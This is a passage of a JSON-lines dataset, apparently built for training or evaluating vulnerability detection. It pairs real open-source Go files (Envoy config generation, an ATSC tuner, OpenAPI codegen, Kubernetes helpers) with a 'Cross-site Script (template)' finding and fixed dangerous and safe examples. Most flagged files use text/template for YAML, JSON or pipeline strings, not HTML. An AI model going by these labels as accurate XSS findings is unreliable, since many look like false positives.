port(componentName string, portName string) (int, error) {\n\tif componentName == \"\" {\n\t\treturn 0, errors.New(\"Port value resolver: component name is empty\")\n\t}\n\n\tvar tpl string\n\tif portName == \"\" {\n\t\ttpl = fmt.Sprintf(`{{ value . \"%s.%s\"}}`, normalizeName(componentName), qualifierPort)\n\t} else {\n\t\ttpl = fmt.Sprintf(`{{ value . \"%s.%s.%s\"}}`, normalizeName(componentName), normalizeName(portName), qualifierPort)\n\t}\n\n\tval, err := r.resolve(tpl)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\treturn strconv.Atoi(val)\n}", "dangerousExampleEn": "1. import \"text/template\"\nLine 1: Data is not escaped using the text/template package.", "safeExampleEn": "1. //import \"text/template\"\n2. import \"html/template\"\nLine 2: This is secure because html/template is used instead of text/template.", "contexts": [{"lineNo": 10, "eventType": "sink", "messageKey": "gochk.XSS_TEMPLATE.GO.defect", "params": {}}]}} {"id": "b9db2e76f46b0bf9afd5763af969357eab398ec082ec1391a45ae803842a1fe8", "license": {"spdx": ["Apache-2.0"], "repo": "bnrjee/cluster-api", "path": "bootstrap/kubeadm/internal/bottlerocket/utils.go", "repo_head_hexsha": "f230f649a4cd9f737cc12676e7170a3461d7436d", "stack_hexsha": "9118e28c43e38e10e416e95bebdda55bb2428f00", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 5, "entireCode": "package bottlerocket\n\nimport (\n\t\"strings\"\n\t\"text/template\"\n)\n\nvar (\n\tdefaultTemplateFuncMap = template.FuncMap{\n\t\t\"Indent\": templateYAMLIndent,\n\t}\n)\n\nfunc templateYAMLIndent(i int, input string) string {\n\tsplit := strings.Split(input, \"\\n\")\n\tident := \"\\n\" + strings.Repeat(\" \", i)\n\treturn strings.Repeat(\" \", i) + strings.Join(split, ident)\n}", "dangerousExampleEn": "1. import \"text/template\"\nLine 1: Data is not escaped using the text/template package.", "safeExampleEn": "1. //import \"text/template\"\n2. import \"html/template\"\nLine 2: This is secure because html/template is used instead of text/template.", "contexts": [{"lineNo": 5, "eventType": "sink", "messageKey": "gochk.XSS_TEMPLATE.GO.defect", "params": {}}]}} {"id": "9498c427ae2f7fe38653a2bea3790400646e60cd67e12d1064b210a46b2d15e3", "license": {"spdx": ["Apache-2.0"], "repo": "nullpo-head/getenvoy", "path": "pkg/flavors/postgres/postgres.go", "repo_head_hexsha": "aafa858800a78d1c9648cad70e91503d3cd3241b", "stack_hexsha": "34ad6776fbb1fd2dfb855f34d28a10ca5b82c7b1", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 22, "entireCode": "// Copyright 2020 Tetrate\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage postgres\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"net\"\n\t\"strings\"\n\t\"text/template\"\n\n\tvalid \"github.com/asaskevich/govalidator\"\n\t\"github.com/tetratelabs/getenvoy/pkg/flavors\"\n\t\"github.com/tetratelabs/log\"\n)\n\n// Define template parameter names\nconst endpointsParam string = \"endpoints\"\nconst inportParam string = \"inport\"\n\n// Flavor implements flavor.FlavorConfigTemplate interface\n// and stores config data specific to Postgres template.\ntype Flavor struct {\n\t// Location of the postgres server\n\tendpoints []*clusterEndpoint\n\t// Envoy's listener port\n\tInPort string\n\tClusterType string\n}\n\ntype clusterEndpoint struct {\n\tEndpointAddr string\n\tEndpointPort string\n\tIsIP bool\n}\n\nvar flavor = Flavor{\n\tInPort: \"5432\",\n}\n\nfunc init() {\n\t// Register postgres flavor.\n\tflavors.AddFlavor(\"postgres\", &flavor)\n}\n\n// GenerateConfig method takes command line parameters and creates\n// Postgres specific Envoy config.\nfunc (f *Flavor) GenerateConfig(params map[string]string) (string, error) {\n\tvar err error\n\tvar config string\n\n\terr = f.parseInputParams(params)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\t// Now process the main template. This includes everything except endpoints.\n\t// NOw run the template substitution\n\tmainConfig, err := f.generateMainConfig()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tconfig += mainConfig\n\n\tendpointsConfig, err := f.generateEndpointSetConfig()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tconfig += endpointsConfig\n\n\treturn config, nil\n}\n\n// Utility functions.\n\n// Function parses and verifies inout params for consistency\n// and correctness.\nfunc (f *Flavor) parseInputParams(params map[string]string) error {\n\tvar err error\n\n\tfor param, value := range params {\n\t\tswitch param {\n\t\tcase endpointsParam:\n\t\t\tf.endpoints, err = parseEndpointSet(value)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\tcase inportParam:\n\t\t\tif !valid.IsInt(value) {\n\t\t\t\treturn fmt.Errorf(\"Value for templateArg %s must be integer number\", param)\n\t\t\t}\n\t\t\tf.InPort = value\n\t\tdefault:\n\t\t\tlog.Warnf(\"Ignoring unrecognized template parameter: %s\", param)\n\t\t}\n\t}\n\n\t// Check if all required params have been found in the parameter list\n\tif len(f.endpoints) == 0 {\n\t\treturn fmt.Errorf(\"Parameter endpoints must be specified\")\n\t}\n\n\t// Verify that all endpoints are of the same type:\n\t// All are IP address or all are domain name.\n\tclusterType := f.endpoints[0].IsIP\n\tfor _, singleEndpoint := range f.endpoints[1:] {\n\t\tif singleEndpoint.IsIP != clusterType {\n\t\t\treturn fmt.Errorf(\"Endpoints must be of the same type type: IP addresses or hostnames\")\n\t\t}\n\t}\n\treturn nil\n}\n\n// Endpoint may have the following forms:\n// IP address: like 127.0.0.1\n// IP address and port: 127.0.0.1:5432\n// domain name: postgres\n// domain name and port: postgres:5432\nfunc parseSingleEndpoint(endpoint string) (*clusterEndpoint, error) {\n\tvar host, port string\n\tvar err error\n\tparts := strings.Split(endpoint, \":\")\n\tif len(parts) > 2 {\n\t\treturn nil, fmt.Errorf(\"%s endpoint has incorrect format. Should be endpoint[:port]\", endpoint)\n\t}\n\n\tif len(parts) == 2 {\n\t\thost, port, err = net.SplitHostPort(endpoint)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"%s endpoint has incorrect format. Should be endpoint[:port]\", endpoint)\n\t\t}\n\t\tif !valid.IsInt(port) {\n\t\t\treturn nil, fmt.Errorf(\"Port value in endpoint:port must be integer not %s\", port)\n\t\t}\n\t} else {\n\t\thost = parts[0]\n\t\tport = \"5432\"\n\t}\n\n\t// This is just IP address or domain name.\n\tisIP := net.ParseIP(host) != nil\n\n\treturn &clusterEndpoint{\n\t\tEndpointAddr: host,\n\t\tEndpointPort: port,\n\t\tIsIP: isIP}, nil\n\n}\n\n// Function parses a string of comma separated endpoints.\nfunc parseEndpointSet(endpoints string) ([]*clusterEndpoint, error) {\n\t// endpoints is comma separated list of endpoints\n\tsingleEndpoints := strings.Split(endpoints, \",\")\n\n\tclusterEndpoints := make([]*clusterEndpoint, 0, len(singleEndpoints))\n\n\tfor _, endpoint := range singleEndpoints {\n\t\tsingleClusterEndpoint, err := parseSingleEndpoint(endpoint)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tclusterEndpoints = append(clusterEndpoints, singleClusterEndpoint)\n\t}\n\n\treturn clusterEndpoints, nil\n}\n\nfunc (f *Flavor) generateEndpointSetConfig() (string, error) {\n\tvar buf bytes.Buffer\n\n\ttmpl := template.New(\"postgres-endpoint\")\n\ttmpl, err := tmpl.Parse(clusterEndpointTemplate)\n\tif err != nil {\n\t\t// Template is not supplied by a user, but is compiled-in, so this error should\n\t\t// happen only during development time.\n\t\treturn \"\", fmt.Errorf(\"Cannot parse postgres endpoint template\")\n\t}\n\n\tfor _, singleEndpoint := range f.endpoints {\n\t\terr = tmpl.Execute(&buf, singleEndpoint)\n\t\tif err != nil {\n\t\t\treturn \"\", fmt.Errorf(\"Cannot execute postgres endpoint template\")\n\t\t}\n\t}\n\n\treturn buf.String(), nil\n}\n\nfunc (f *Flavor) generateMainConfig() (string, error) {\n\tvar buf bytes.Buffer\n\n\tif f.endpoints[0].IsIP {\n\t\tf.ClusterType = \"static\"\n\t} else {\n\t\tf.ClusterType = \"strict_dns\"\n\t}\n\ttmpl := template.New(\"postgres-main\")\n\ttmpl, err := tmpl.Parse(configTemplate)\n\tif err != nil {\n\t\t// Template is not supplied by a user, but is compiled-in, so this error should\n\t\t// happen only during development time.\n\t\treturn \"\", fmt.Errorf(\"Cannot parse postgres main template\")\n\t}\n\terr = tmpl.Execute(&buf, f)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"Cannot execute postgres main template\")\n\t}\n\n\treturn buf.String(), nil\n}\n\n// Postgres specific config file.\nvar configTemplate = `\nadmin:\n access_log_path: \"/dev/null\"\n address:\n socket_address:\n address: 0.0.0.0\n port_value: 15000\n\nstatic_resources:\n listeners:\n - name: postgres_listener\n address:\n socket_address:\n address: 0.0.0.0\n port_value: {{ .InPort }}\n filter_chains:\n - filters:\n - name: envoy.filters.network.postgres_proxy\n typed_config:\n \"@type\": type.googleapis.com/envoy.extensions.filters.network.postgres_proxy.v3alpha.PostgresProxy\n stat_prefix: egress_postgres\n - name: envoy.tcp_proxy\n typed_config:\n \"@type\": type.googleapis.com/envoy.extensions.filters.network.tcp_proxy.v3.TcpProxy\n stat_prefix: postgres_tcp\n cluster: postgres_cluster\n\n clusters:\n - name: postgres_cluster\n connect_timeout: 1s\n type: {{ .ClusterType }}\n load_assignment:\n cluster_name: postgres_cluster\n endpoints:\n - lb_endpoints:`\n\nvar clusterEndpointTemplate = `\n - endpoint:\n address:\n socket_address:\n address: {{ .EndpointAddr }} \n port_value: {{ .EndpointPort }}`", "dangerousExampleEn": "1. import \"text/template\"\nLine 1: Data is not escaped using the text/template package.", "safeExampleEn": "1. //import \"text/template\"\n2. import \"html/template\"\nLine 2: This is secure because html/template is used instead of text/template.", "contexts": [{"lineNo": 22, "eventType": "sink", "messageKey": "gochk.XSS_TEMPLATE.GO.defect", "params": {}}]}} {"id": "09db473926b27c42b866f77ce74088f64753fc2e4e2d8527dcb4881c52727909", "license": {"spdx": ["MIT"], "repo": "townewgokgok/goa", "path": "http/codegen/openapi.go", "repo_head_hexsha": "0e6a389c675553c703a482fdf278646caa37ea0a", "stack_hexsha": "8b61b98440e201e723908f4ec8f618a6413edc65", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 6, "entireCode": "package codegen\n\nimport (\n\t\"encoding/json\"\n\t\"path/filepath\"\n\t\"text/template\"\n\n\t\"gopkg.in/yaml.v2\"\n\n\t\"goa.design/goa/v3/codegen\"\n\t\"goa.design/goa/v3/expr\"\n\t\"goa.design/goa/v3/http/codegen/openapi\"\n)\n\n// OpenAPIFiles returns the files for the OpenAPIFile spec of the given HTTP API.\nfunc OpenAPIFiles(root *expr.RootExpr) ([]*codegen.File, error) {\n\t// Only create a OpenAPI specification if there are HTTP services.\n\tif len(root.API.HTTP.Services) == 0 {\n\t\treturn nil, nil\n\t}\n\n\tjsonPath := filepath.Join(codegen.Gendir, \"http\", \"openapi.json\")\n\tyamlPath := filepath.Join(codegen.Gendir, \"http\", \"openapi.yaml\")\n\tvar (\n\t\tjsonSection *codegen.SectionTemplate\n\t\tyamlSection *codegen.SectionTemplate\n\t)\n\t{\n\t\tspec, err := openapi.NewV2(root, root.API.Servers[0].Hosts[0])\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tjsonSection = &codegen.SectionTemplate{\n\t\t\tName: \"openapi\",\n\t\t\tFuncMap: template.FuncMap{\"toJSON\": toJSON},\n\t\t\tSource: \"{{ toJSON .}}\",\n\t\t\tData: spec,\n\t\t}\n\t\tyamlSection = &codegen.SectionTemplate{\n\t\t\tName: \"openapi\",\n\t\t\tFuncMap: template.FuncMap{\"toYAML\": toYAML},\n\t\t\tSource: \"{{ toYAML .}}\",\n\t\t\tData: spec,\n\t\t}\n\t}\n\n\treturn []*codegen.File{\n\t\t{\n\t\t\tPath: jsonPath,\n\t\t\tSectionTemplates: []*codegen.SectionTemplate{jsonSection},\n\t\t},\n\t\t{\n\t\t\tPath: yamlPath,\n\t\t\tSectionTemplates: []*codegen.SectionTemplate{yamlSection},\n\t\t},\n\t}, nil\n}\n\nfunc toJSON(d interface{}) string {\n\tb, err := json.Marshal(d)\n\tif err != nil {\n\t\tpanic(\"openapi: \" + err.Error()) // bug\n\t}\n\treturn string(b)\n}\n\nfunc toYAML(d interface{}) string {\n\tb, err := yaml.Marshal(d)\n\tif err != nil {\n\t\tpanic(\"openapi: \" + err.Error()) // bug\n\t}\n\treturn string(b)\n}", "dangerousExampleEn": "1. import \"text/template\"\nLine 1: Data is not escaped using the text/template package.", "safeExampleEn": "1. //import \"text/template\"\n2. import \"html/template\"\nLine 2: This is secure because html/template is used instead of text/template.", "contexts": [{"lineNo": 6, "eventType": "sink", "messageKey": "gochk.XSS_TEMPLATE.GO.defect", "params": {}}]}} {"id": "ab1ecb50c0a8bf65f960f6489bbac1c072d0bf430175f54b17a8b1c8c2518ae1", "license": {"spdx": ["MIT"], "repo": "ahamlinman/hypcast", "path": "internal/atsc/tuner/tuner.go", "repo_head_hexsha": "bd74db8ee488705de96a0ff9a7ae433e3975bf0c", "stack_hexsha": "bf6e698af0b9e3d320913bd63548ed2b730e4a25", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 11, "entireCode": "// Package tuner implements an ATSC tuner that outputs WebRTC video and audio\n// tracks.\npackage tuner\n\nimport (\n\t\"bytes\"\n\t\"errors\"\n\t\"fmt\"\n\t\"log\"\n\t\"sync\"\n\t\"text/template\"\n\t\"time\"\n\n\t\"github.com/pion/webrtc/v3\"\n\t\"github.com/pion/webrtc/v3/pkg/media\"\n\n\t\"github.com/ahamlinman/hypcast/internal/atsc\"\n\t\"github.com/ahamlinman/hypcast/internal/gst\"\n\t\"github.com/ahamlinman/hypcast/internal/watch\"\n)\n\n// State represents the current state of the tuner.\ntype State int\n\nconst (\n\t// StateStopped means the tuner is switched off.\n\tStateStopped State = iota\n\t// StateStarting means that the tuner is trying to lock onto a signal and\n\t// start streaming.\n\tStateStarting\n\t// StatePlaying means that the tuner is locked onto a singal and is actively\n\t// streaming video.\n\tStatePlaying\n)\n\n// Status represents the public state of the tuner for reading by clients.\ntype Status struct {\n\tState State\n\tChannelName string\n\tError error\n}\n\n// Tracks represents the current set of video and audio tracks for use by WebRTC\n// clients.\ntype Tracks struct {\n\tVideo webrtc.TrackLocal\n\tAudio webrtc.TrackLocal\n}\n\n// VideoPipeline controls which pipeline Hypcast uses to process video.\ntype VideoPipeline string\n\nconst (\n\t// The default pipeline performs software-based video processing. It should\n\t// work on a wide variety of machines with little to no additional\n\t// configuration.\n\tVideoPipelineDefault VideoPipeline = \"default\"\n\n\t// The vaapi pipeline performs hardware accelerated video processing using the\n\t// Video Acceleration API (VA-API). It is more performant than the default\n\t// pipeline, but requires installation of gstreamer-vaapi plugins and may\n\t// require additional configuration to select an appropriate device and\n\t// driver. See GStreamer documentation for details.\n\tVideoPipelineVAAPI VideoPipeline = \"vaapi\"\n)\n\n// ParseVideoPipeline selects a VideoPipeline by name. Unknown names will return\n// the default pipeline.\nfunc ParseVideoPipeline(name string) VideoPipeline {\n\tswitch {\n\tcase name == string(VideoPipelineVAAPI):\n\t\treturn VideoPipelineVAAPI\n\tdefault:\n\t\treturn VideoPipelineDefault\n\t}\n}\n\n// Tuner represents an ATSC tuner whose video and audio signals are encoded for\n// use by WebRTC clients, and whose consumers are notified of ongoing state\n// changes.\ntype Tuner struct {\n\tmu sync.Mutex\n\n\tchannels []atsc.Channel\n\tchannelMap map[string]atsc.Channel\n\n\tvideoPipeline VideoPipeline\n\tpipeline *gst.Pipeline\n\n\tstatus *watch.Value\n\ttracks *watch.Value\n}\n\n// NewTuner creates a new Tuner that can tune to any of the provided channels.\nfunc NewTuner(channels []atsc.Channel, videoPipeline VideoPipeline) *Tuner {\n\treturn &Tuner{\n\t\tchannels: channels,\n\t\tchannelMap: makeChannelMap(channels),\n\t\tvideoPipeline: videoPipeline,\n\t\tstatus: watch.NewValue(Status{}),\n\t\ttracks: watch.NewValue(Tracks{}),\n\t}\n}\n\nfunc makeChannelMap(channels []atsc.Channel) map[string]atsc.Channel {\n\tm := make(map[string]atsc.Channel)\n\tfor _, c := range channels {\n\t\tm[c.Name] = c\n\t}\n\treturn m\n}\n\n// ChannelNames returns the names of channels that are known to this tuner and\n// may be passed to Tune.\nfunc (t *Tuner) ChannelNames() []string {\n\tchannelNames := make([]string, len(t.channels))\n\tfor i, ch := range t.channels {\n\t\tchannelNames[i] = ch.Name\n\t}\n\treturn channelNames\n}\n\n// WatchStatus sets up a handler function to continuously receive the status of\n// the tuner as it is updated. See the watch package documentation for details.\nfunc (t *Tuner) WatchStatus(handler func(Status)) *watch.Watch {\n\treturn t.status.Watch(func(x interface{}) {\n\t\thandler(x.(Status))\n\t})\n}\n\n// WatchTracks sets up a handler function to continuously receive the tuner's\n// WebRTC tracks as they are updated. See the watch package documentation for\n// details.\nfunc (t *Tuner) WatchTracks(handler func(Tracks)) *watch.Watch {\n\treturn t.tracks.Watch(func(x interface{}) {\n\t\thandler(x.(Tracks))\n\t})\n}\n\n// Stop ends any active stream and releases the DVB device associated with this\n// tuner.\nfunc (t *Tuner) Stop() error {\n\tt.mu.Lock()\n\tdefer t.mu.Unlock()\n\n\terr := t.destroyAnyRunningPipeline()\n\tt.status.Set(Status{Error: err})\n\tt.tracks.Set(Tracks{})\n\treturn err\n}\n\n// ErrChannelNotFound is returned when tuning to a channel whose name is not in\n// the tuner's channel list.\nvar ErrChannelNotFound error = errors.New(\"channel not found\")\n\n// Tune attempts to start a stream for the named channel.\nfunc (t *Tuner) Tune(channelName string) (err error) {\n\tt.mu.Lock()\n\tdefer t.mu.Unlock()\n\n\tchannel, ok := t.channelMap[channelName]\n\tif !ok {\n\t\treturn ErrChannelNotFound\n\t}\n\n\tt.status.Set(Status{\n\t\tState: StateStarting,\n\t\tChannelName: channel.Name,\n\t})\n\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tt.destroyAnyRunningPipeline()\n\t\t\tt.status.Set(Status{Error: err})\n\t\t}\n\t}()\n\n\tt.destroyAnyRunningPipeline()\n\n\tt.pipeline, err = t.newPipeline(channel)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tvt, at, err := t.createTrackPair()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tt.pipeline.SetSink(sinkNameVideo, createTrackSink(vt))\n\tt.pipeline.SetSink(sinkNameAudio, createTrackSink(at))\n\n\tlog.Printf(\"Tuner(%p): Starting pipeline\", t)\n\terr = t.pipeline.Start()\n\tif err != nil {\n\t\treturn err\n\t}\n\tlog.Printf(\"Tuner(%p): Started pipeline\", t)\n\n\tt.status.Set(Status{\n\t\tState: StatePlaying,\n\t\tChannelName: channelName,\n\t})\n\tt.tracks.Set(Tracks{\n\t\tVideo: vt,\n\t\tAudio: at,\n\t})\n\treturn nil\n}\n\nfunc (t *Tuner) newPipeline(channel atsc.Channel) (*gst.Pipeline, error) {\n\tdescription, err := t.createPipelineDescription(channel)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn gst.NewPipeline(description)\n}\n\nfunc (t *Tuner) createPipelineDescription(channel atsc.Channel) (string, error) {\n\tvar buf bytes.Buffer\n\n\terr := pipelineDescriptionTemplate.Execute(&buf, struct {\n\t\tModulation string\n\t\tFrequencyHz uint\n\t\tProgramID uint\n\t\tVideoPipeline string\n\t}{\n\t\tModulation: pipelineModulations[channel.Modulation],\n\t\tFrequencyHz: channel.FrequencyHz,\n\t\tProgramID: channel.ProgramID,\n\t\tVideoPipeline: string(t.videoPipeline),\n\t})\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"building pipeline template: %w\", err)\n\t}\n\n\treturn buf.String(), nil\n}\n\nvar pipelineModulations = map[atsc.Modulation]string{\n\tatsc.Modulation8VSB: \"8vsb\",\n\tatsc.ModulationQAM64: \"qam-64\",\n\tatsc.ModulationQAM256: \"qam-256\",\n}\n\nconst (\n\tsinkNameVideo = \"video\"\n\tsinkNameAudio = \"audio\"\n)\n\nvar pipelineDescriptionTemplate = template.Must(template.New(\"\").Parse(`\n\tdvbsrc delsys=atsc modulation={{.Modulation}} frequency={{.FrequencyHz}}\n\t{{- block \"queue-max-time\" 2_500_000_000 }}\n\t! queue leaky=downstream max-size-time={{.}} max-size-buffers=0 max-size-bytes=0\n\t{{- end }}\n\t! tsdemux name=demux program-number={{.ProgramID}} latency=500\n\n\tdemux.\n\t{{- template \"queue-max-time\" 2_500_000_000 }}\n\t{{- if eq .VideoPipeline \"vaapi\" }}\n\t! vaapimpeg2dec\n\t! vaapipostproc deinterlace-mode=auto\n\t! vaapih264enc rate-control=cbr bitrate=12000 cpb-length=1000 quality-level=1 tune=high-compression\n\t{{- else }}\n\t! mpeg2dec\n\t! deinterlace\n\t! x264enc bitrate=8000 tune=zerolatency speed-preset=ultrafast\n\t{{- end }}\n\t! video/x-h264,profile=constrained-baseline,stream-format=byte-stream\n\t! appsink name=video max-buffers=50 drop=true\n\n\tdemux.\n\t{{- template \"queue-max-time\" 2_500_000_000 }}\n\t! a52dec\n\t! audioconvert\n\t! audioresample\n\t! audio/x-raw,rate=48000,channels=2\n\t! opusenc bitrate=128000\n\t! appsink name=audio max-buffers=50 drop=true\n`))\n\nfunc (t *Tuner) destroyAnyRunningPipeline() error {\n\tif t.pipeline == nil {\n\t\treturn nil\n\t}\n\n\terr := t.pipeline.Close()\n\tt.pipeline = nil\n\treturn err\n}\n\n// fmtp is described by https://tools.ietf.org/html/rfc6184.\n//\n// profile-level-id in particular is described in section 8.1 of the RFC. The\n// first 2 octets together indicate the Constrained Baseline profile (42h to\n// specify the Baseline profile, e0h to specify constraint set 1). The third\n// octet (28h = 40) specifies level 4.0 (the level number times 10), the lowest\n// to support 1920x1080 video per\n// https://en.wikipedia.org/wiki/Advanced_Video_Coding#Levels.\n//\n// This needs to match up with the GStreamer pipeline definition.\nconst videoCodecFMTP = \"profile-level-id=42e028;level-asymmetry-allowed=1;packetization-mode=1\"\n\nvar (\n\t// VideoCodecCapability represents the RTP codec settings for the video signal\n\t// produced by the tuner.\n\tVideoCodecCapability = webrtc.RTPCodecCapability{\n\t\tMimeType: webrtc.MimeTypeH264,\n\t\tClockRate: 90_000,\n\t\tSDPFmtpLine: videoCodecFMTP,\n\t}\n\n\t// AudioCodecCapability represents the RTP codec settings for the audio signal\n\t// produced by the tuner.\n\tAudioCodecCapability = webrtc.RTPCodecCapability{\n\t\tMimeType: webrtc.MimeTypeOpus,\n\t\tClockRate: 48_000,\n\t\tChannels: 2,\n\t}\n)\n\nfunc (t *Tuner) createTrackPair() (video, audio *webrtc.TrackLocalStaticSample, err error) {\n\tstreamID := fmt.Sprintf(\"Tuner(%p)\", t)\n\n\tvideo, err = webrtc.NewTrackLocalStaticSample(VideoCodecCapability, streamID, streamID)\n\tif err != nil {\n\t\treturn\n\t}\n\n\taudio, err = webrtc.NewTrackLocalStaticSample(AudioCodecCapability, streamID, streamID)\n\treturn\n}\n\nfunc createTrackSink(track *webrtc.TrackLocalStaticSample) gst.SinkFunc {\n\treturn gst.SinkFunc(func(data []byte, duration time.Duration) {\n\t\ttrack.WriteSample(media.Sample{\n\t\t\tData: data,\n\t\t\tDuration: duration,\n\t\t})\n\t})\n}", "dangerousExampleEn": "1. import \"text/template\"\nLine 1: Data is not escaped using the text/template package.", "safeExampleEn": "1. //import \"text/template\"\n2. import \"html/template\"\nLine 2: This is secure because html/template is used instead of text/template.", "contexts": [{"lineNo": 11, "eventType": "sink", "messageKey": "gochk.XSS_TEMPLATE.GO.defect", "params": {}}]}} {"id": "9aa7009f03e2bf4a0fa1188d91368e687507f84b36085e99227380453eaaf6c5", "license": {"spdx": ["Apache-2.0"], "repo": "snebel29/kubernetes-ingress", "path": "internal/configs/version1/template_helper.go", "repo_head_hexsha": "a31cd87288fa102ef9f094da7ecd371e9b36c680", "stack_hexsha": "c2b09f5c6194bfa8aee25b1049b37f2a1a8cabd2", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 5, "entireCode": "package version1\n\nimport (\n\t\"strings\"\n\t\"text/template\"\n)\n\nfunc split(s string, delim string) []string {\n\treturn strings.Split(s, delim)\n}\n\nfunc trim(s string) string {\n\treturn strings.TrimSpace(s)\n}\n\nvar helperFunctions = template.FuncMap{\n\t\"split\": split,\n\t\"trim\": trim,\n}", "dangerousExampleEn": "1. import \"text/template\"\nLine 1: Data is not escaped using the text/template package.", "safeExampleEn": "1. //import \"text/template\"\n2. import \"html/template\"\nLine 2: This is secure because html/template is used instead of text/template.", "contexts": [{"lineNo": 5, "eventType": "sink", "messageKey": "gochk.XSS_TEMPLATE.GO.defect", "params": {}}]}} {"id": "64fabbcdac8d271639f1e909fabd75fa8a0834605ec1728d2f4702c22737f9c5", "license": {"spdx": ["Apache-2.0"], "repo": "shovanmaity/dynamic-localpv-provisioner", "path": "vendor/github.com/openebs/maya/pkg/cstor/pool/v1alpha2/cstorpool.go", "repo_head_hexsha": "e0dd3f0ad7b6d44fcb51a2df9b5cdd564c70ab95", "stack_hexsha": "351710f21c1c25105b42e8f417a44950924c4050", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 21, "entireCode": "// Copyright © 2018-2019 The OpenEBS Authors\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage v1alpha2\n\nimport (\n\t\"github.com/pkg/errors\"\n\t\"k8s.io/apimachinery/pkg/api/resource\"\n\t\"k8s.io/klog\"\n\t\"text/template\"\n\n\tapis \"github.com/openebs/maya/pkg/apis/openebs.io/v1alpha1\"\n\t\"k8s.io/apimachinery/pkg/types\"\n)\n\ntype annotationKey string\n\nconst scheduleOnHostAnnotation annotationKey = \"volume.kubernetes.io/selected-node\"\n\nconst (\n\t// PoolCapacityThresholdPercentage is the threshold percentage for usable pool size.\n\t// Example:\n\t// If pool size is 100 Gi and threshold percentae is 